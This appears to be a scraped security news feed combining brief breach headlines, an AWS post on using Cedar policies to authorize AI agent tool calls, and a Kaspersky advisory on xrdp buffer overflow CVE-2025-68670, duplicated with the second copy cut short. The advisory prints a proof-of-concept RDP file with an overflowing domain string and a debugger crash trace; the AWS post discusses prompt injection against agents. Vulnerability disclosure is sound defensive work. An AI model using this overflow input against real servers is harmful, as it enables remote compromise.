The attackers deployed a new Go-based backdoor that uses Microsoft Teams servers for command-and-control.
The post Microsoft Teams Relay Servers Abused in DragonForce Ransomware Attack appeared first on SecurityWeek.
Unit 42 discovered a Vertex AI Python SDK vulnerability that allows remote code execution via bucket squatting. Read the article for more.
The post Pickle in the Middle – Hijacking Vertex AI Model Uploads for Cross-Tenant RCE appeared first on Unit 42.
Agents have agency: they adapt and find multiple ways to solve problems. This autonomy creates a fundamental security challenge: the large language model (LLM) at the heart of the agent is non-deterministic, and its decisions can’t be predicted or guaranteed in advance. It can hallucinate harmful actions with complete confidence. It’s vulnerable to prompt injection attacks, where adversaries inject malicious commands through tool responses or user inputs. LLMs don’t robustly differentiate between commands and data, everything is only tokens. For these reasons, if you want defense in depth, you must treat the LLM as an untrusted actor from a security point of view.
The insight is that the LLM can’t affect the external world directly: it has to go through an orchestrator that invokes tools based on the LLM’s output. This is precisely where the controls must be applied. What you need at this boundary is authorization: a decision about whether each tool invocation should be allowed and under what conditions. Consider a customer service agent for an online retailer. Without proper controls, it could process refunds that exceed authorized limits, apply discounts to product categories that should be excluded, or look up one customer’s data while handling another customer’s session.
If you control agents’ access to tools, you can establish a safety envelope within which the agent can operate freely. This differs from two common but unsatisfactory approaches:
You need agents that are safe and autonomous. This requires an auditable, deterministic enforcement layer that sits outside the agent and tools. Why outside? Because the LLM’s plan is the thing you can’t trust—it can’t be responsible for enforcing its own constraints. Controls at the LLM layer—such as system prompts and training-time alignment—can be bypassed by prompt injection or hallucination. Hard-coded checks in agent or tool code are more robust, but become difficult to audit and manage at scale, especially when security logic is scattered across many tools and services. Centralizing authorization outside both gives you a single checkpoint the LLM can’t circumvent; one that’s auditable and can be verified independently of the application code.
This is where AgentCore Policies come in. Amazon Bedrock AgentCore Gateway sits between the agent and the remote tools it calls. When you associate a Policy with a Gateway, it blocks everything by default. Policies selectively open this boundary by specifying which tool invocations are allowed and under what conditions. This enforcement applies to all tool traffic routed through the Gateway. For this approach to scale, it must be more straightforward to reason about the policies than about the agent’s behavior.
AgentCore policies are expressed in Cedar. Cedar is an open source authorization policy language developed by AWS that has recently joined the Cloud Native Computing Foundation (CNCF). Cedar was designed with exactly these properties: it’s purpose-built for authorization, readable by humans, and analyzable by machines using automated reasoning. This gives enterprises the ability to scale policy definition and enforcement to their AI agents.
Amazon Bedrock AgentCore provides the infrastructure to deploy and manage agents at scale. It includes AgentCore Runtime for hosting agents, AgentCore Gateway for managing how agents connect to tools using Model Context Protocol (MCP), and Policy in AgentCore. Policy intercepts all agent traffic through AgentCore gateways and evaluates each request against defined policies in the policy engine before allowing tool access. Cedar powers the policy layer.
AgentCore Policy uses Cedar and its mathematical analysis capabilities at several points in the AgentCore Gateway workflow: the Cedar authorization engine is used at policy evaluation and Cedar Analysis is used during policy authoring, and in the control plane.
Policy authoring: Developers can write Cedar policies directly or use natural language that gets translated to Cedar through a neuro-symbolic AI feedback loop. Neuro-symbolic AI combines machine learning’s flexibility with automated reasoning’s provable correctness. An LLM generates policies from natural language, while Cedar Analysis validates them using symbolic, mathematical reasoning. The following diagram illustrates this workflow:
Figure 1: Cedar policy generation workflow
An administrator specifies—in natural language—which MCP tools the agent can call and under what conditions. The neuro-symbolic feedback loop then formalizes this description into Cedar policies. Here’s how it works: first, the LLM translates the natural language into Cedar policies. These policies are then run through two stages of verification. In the first stage, AgentCore Policy uses a Cedar schema generator that takes the MCP tool descriptions and produces a Cedar schema. Cedar validates the policies against this schema, helping to ensure that they reference valid tools and parameters and ruling out whole classes of runtime errors. If validation passes, the second stage runs Cedar Analysis, which encodes each policy as a mathematical formula and detects issues like policies that grant or deny everything, or that contain impossible conditions. These mathematical proofs identify errors in the process of translating from the natural language description to Cedar policies, and guide corrections.
The neuro-symbolic feedback loop significantly improves the accuracy of the generated policies. This demonstrates the power of combining neural and symbolic approaches—the LLM provides creative translation from natural language, while automated reasoning provides rigorous validation.
Control plane: When attaching policies to an AgentCore Gateway, Cedar Analysis performs holistic analysis of the entire policy set. Instead of analyzing policies in isolation, it examines how they interact and their combined effect. This analysis identifies potential logical errors—such as conflicting or redundant policies—and detects whether the policy set produces unintended authorization outcomes. When Cedar Analysis detects these errors, the operation fails and returns a description of the issue, so the policy author can fix and retry. See the Formal analysis for policy verification section for examples of the checks.
MCP tool invocation enforcement: Each agent tool request made to the AgentCore gateway is evaluated against Cedar policies which determine whether the MCP tool invocation with the given arguments should be allowed. This creates the safety envelope while allowing the necessary bridges to enable the agent to perform its job.
MCP tool filtering: Cedar enables an additional layer of protection that operates before any tool invocation occurs. When an agent issues a list tools command, AgentCore Gateway uses Cedar’s partial evaluation capability to determine which actions would always be denied under the current policy set. Those actions are omitted from the list tool response. The agent and the underlying LLM never see those tool actions, eliminating an entire class of risk: the agent and LLM can’t attempt to invoke a tool it doesn’t know exists. This is a direct benefit of Cedar’s partial evaluation: the system can determine that certain tool actions are unreachable without needing to wait for an actual tool invocation attempt.
Natural language is too ambiguous for security-critical infrastructure, and general-purpose programming languages, like Python, are very expressive but too difficult to analyze. They can have unintended side effects, termination issues, and can be difficult to understand.
Cedar avoids these issues by excluding loops and stateful operations, so policy evaluation terminates in O(n) time in common cases. This bounded execution time means agents can make authorization decisions without disrupting user experience or workflow efficiency.
Cedar is straightforward to read. Regulatory compliance and security audits require policies that humans can understand and verify. Cedar policies read like structured natural language, making them accessible to security teams, compliance officers, and business stakeholders:
Login
// Only allow bulk discounts for premium customers with sufficient quantity
permit (
principal is AgentCore::OAuthUser,
action == AgentCore::Action::"ApplyBulkDiscount",
resource
)
when
{
principal.hasTag("customer_tier") &&
principal.getTag("customer_tier") == "Platinum" &&
context.input.orderQuantity >= 50
}
unless
{
context.input
.productTypes
.containsAny
(
["limited_edition", "seasonal_specials"]
)
};Auditors without a technical background can understand this policy: “Allow bulk discounts for platinum customers who order at least 50 items, except for limited edition or seasonal special products.” The unless clause makes the exception clear, which is how business rules are typically expressed in natural language. Notice that this single policy constrains two different sources of data. The customer tier comes from a JSON Web Token (JWT) claim—it can’t be hallucinated or manipulated by the LLM. The tool inputs like order quantity and product types, however, originate from the LLM’s tool call. Cedar policies constrain these inputs to only allowed values, ensuring that even if the LLM produces unexpected arguments, the policy enforcement layer rejects them deterministically.
Cedar is the right choice because it’s fast, straightforward to read, and analyzable through automated reasoning. This analyzability is why you can reason about the safety envelope around agents that’s expressed as Cedar policies. As agentic systems grow the number of tools grows. Without proper tooling, policy management becomes intractable; policies can conflict, create security gaps, or produce unintended authorization outcomes.
In the rest of this section, we examine how Cedar’s analyzability directly addresses this challenge through its deterministic, mathematically sound analysis. Because Cedar analysis can reliably detect conflicts and logical errors across large policy sets it enables scalable policy management through neuro-symbolic AI.
Cedar policies can be encoded as mathematical formulas and analyzed using automated reasoning techniques through a symbolic encoder. This enables AgentCore Policy to provide sophisticated policy verification capabilities during policy authoring and beyond. AgentCore Policy uses this analysis when authoring or attaching policies to detect possible logical errors, such as conflicting or redundant policies. Policy analysis, including policy comparison is available as an open source CLI tool. Next, we will take a look at some concrete examples of these checks.
Detecting logical errors in policies: Cedar Analysis can detect when policies contain logical errors. For example, the following policy has contradictory constraints that mean it can’t allow any request: the customer tier can’t be both gold and platinum at the same time. The intention was to use an || instead of &&, a mistake that can be made by both humans and AI systems that author policies.
// This policy cannot allow any requests due to logical errors
permit (
principal is AgentCore::OAuthUser,
action == AgentCore::Action::"ProcessRefund",
resource
)
when
{
principal.hasTag("customer_tier") &&
principal.getTag("customer_tier") == "Gold" &&
principal.getTag("customer_tier") == "Platinum"
}
unless { context.input.refundAmount > 1000 };Similarly, Cedar Analysis can detect policies that always allow a given action, usually an indication of an overly permissive policy. For example, the following policy will allow all ApplyBulkDiscount requests because any order quantity will either be greater than or equal to 100 or less than 100.
// This policy allows all ApplyBulkDiscount requests
permit (
principal is AgentCore::OAuthUser,
action == AgentCore::Action::"ApplyBulkDiscount",
resource
)
when
{
context.input.orderQuantity >= 100 ||
context.input.orderQuantity < 100 ||
(principal.hasTag("customer_tier") &&
principal.getTag("customer_tier") == "Platinum")
};Detecting such logical errors isn’t easy for humans, and can’t be done by pattern matching: you need the formal rigor of mathematical analysis, which is exactly what Cedar Analysis does.
Detecting policy conflicts: Cedar Analysis can also analyze the entire policy set to detect inconsistencies between different individual policies:
// These policies conflict - Analysis will detect the subtle issue
permit (
principal is AgentCore::OAuthUser,
action == AgentCore::Action::"ProcessRefund",
resource
)
when
{
principal.hasTag("customer_tier") &&
principal.getTag("customer_tier") == "Gold" &&
context.input.refundAmount < 100
};
forbid (
principal is AgentCore::OAuthUser,
action == AgentCore::Action::"ProcessRefund",
resource
)
when
{
principal.hasTag("customer_tier") &&
["Gold", "Platinum"].contains(principal.getTag("customer_tier")) &&
context.input.refundAmount < 500
};The permit policy allows gold customers to process refunds less than $100, while the forbid policy blocks gold customers (and platinum customers) from processing refunds less than $500. Because forbid overrides permit in Cedar, the forbid policy would block all gold customer refunds despite the permit policy.
Comparing policy changes: When updating policies, Cedar Analysis can also determine the exact impact of a change. Consider the following update to the unless clause (the policy lines with + have been added and those with - have been removed): we now block ApplyBulkDiscount only when the product type is limited_edition and the quantity exceeds 200.
permit (
principal is AgentCore::OAuthUser,
action == AgentCore::Action::"ProcessRefund",
resource
)
when
{
context.input.refundAmount < 500
};
permit (
principal is AgentCore::OAuthUser,
action == AgentCore::Action::"ApplyBulkDiscount",
resource
)
when
{
context.input.orderQuantity >= 50
}
unless
{
- context.input.productTypes.containsAny(["limited_edition"])
+ context.input.productTypes.containsAny(["limited_edition"]) &&
+ context.input.orderQuantity > 200
};At first glance, adding a condition to the unless clause might seem more restrictive. In fact, it’s the opposite: narrowing when the unless applies means the permit now covers more requests. For example, an order of 73 units of a limited_edition product would have been blocked before but is now allowed. Cedar Analysis can automatically detect this and generates the following table showing the difference in permissiveness between the original policy set and the updated one:
| Principal type |
Action |
Resource type |
Status |
| OAuthUser |
ProcessRefund |
Gateway |
Equivalent |
| OAuthUser |
ApplyBulkDiscount |
Gateway |
More permissive |
In the preceding example, the analysis tells us that the updated policy allows allows exactly the same ProcessRefund requests, but allows more ApplyBulkDiscount requests.
This formal verification capability is essential when agents operate autonomously and can affect the real world. Organizations need mathematical certainty that their policies will behave as intended.
Unlike probabilistic AI models, enterprise security requires deterministic guarantees. Cedar policies always produce the same authorization decision for identical requests, regardless of evaluation order or system state. Cedar’s default deny, forbid wins, no ordering semantics help ensure predictable behavior.
// Policy evaluation order does not affect the authorization decision
permit(
principal,
action == AgentCore::Action::"ProcessRefund",
resource
) when {
context.input.refundAmount < 500
};
forbid(
principal,
action == AgentCore::Action::"ProcessRefund",
resource
) when {
context.input.orderDate.offset(duration("90d")) < context.system.now
};Whether the permit or forbid policy is evaluated first, a refund request over $500 will always be denied, and any refund issued more than 90 days after the order date will also be denied. This predictability gives enterprises confidence in their agent governance.
By choosing AgentCore Policy and Cedar, organizations can deploy autonomous agents with policies they can reason about mathematically, not only hope the agents work correctly. Cedar’s combination of expressiveness, readability, and formal verification means that you can design agents with the flexibility needed to function and the certainty security teams demand.
Automated reasoning has already proven its value across AWS, from AWS IAM Access Analyzer verifying access policies to provable security for network configurations. Applying these same techniques to agentic AI is a natural extension: as agents take on more responsibility, the need for mathematically grounded guarantees only grows. The neuro-symbolic approach we’ve described in this post—combining LLM flexibility with the rigor of automated reasoning—points toward a future where agents can be both more autonomous and more trustworthy, because the verification keeps pace with the autonomy.
Policy is now available as part of Amazon Bedrock AgentCore Gateway. To learn more about Cedar and its capabilities, visit the Cedar website, try the Cedar playground, or join the Cedar community on Slack.
For more information about Policy in Amazon Bedrock AgentCore Gateway, visit the AWS documentation or explore the AgentCore Gateway console.
If you have feedback about this post, submit comments in the Comments section below.
The hackers claimed to have stolen more than 600,000 Salesforce records, including personal information and corporate data.
The post 7-Eleven Data Breach Confirmed After ShinyHunters Ransom Demand appeared first on SecurityWeek.
In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.
We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.
Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
#define INFO_CLIENT_MAX_CB_LEN 512
When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
if (ts_info_utf16_in( // [1]
s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) // [2]
{
[..SNIP..]
}The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) // [3]
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;
// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}
while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) // [4]
{
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}
v n -= u8len;
v += u8len;
}
else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}
r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; // [5]
}
+ +rv;
return rv;
}Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.
The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; // [7]
[..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, // [6]
combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];
/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') // [8]
{
/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); // [9]
if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); // [10]
}
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).
To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.
As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
alternate full address:s:172.22.118.7 full address:s:172.22.118.7 domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0 username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gef➤ bt #0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44 #1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78 #2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89 #3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26 #4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79 #5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156 #6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26 #7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24 #8 0x000063654a2e5ad5 in ?? () #9 0x4141414141414141 in ?? () #10 0x00007adb00000a00 in ?? () #11 0x0000000000050004 in ?? () #12 0x00007fff91732220 in ?? () #13 0x000000000000030a in ?? () #14 0xfffffffffffffff8 in ?? () #15 0x000000052dc71740 in ?? () #16 0x3030305f70647278 in ?? () #17 0x616d5f6130333030 in ?? () #18 0x00636e79735f6e69 in ?? () #19 0x0000000000000000 in ?? ()
It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.
The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.
Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.
Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.
However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.
In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.
We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.
Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
#define INFO_CLIENT_MAX_CB_LEN 512
When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
if (ts_info_utf16_in( // [1]
s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) // [2]
{
[..SNIP..]
}The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) // [3]
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;
// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}
while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) // [4]
{
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}
v n -= u8len;
v += u8len;
}
else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}
r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; // [5]
}
+ +rv;
return rv;
}Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.
The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; // [7]
[..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, // [6]
combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];
/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') // [8]
{
/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); // [9]
if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); // [10]
}
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).
To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.
As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
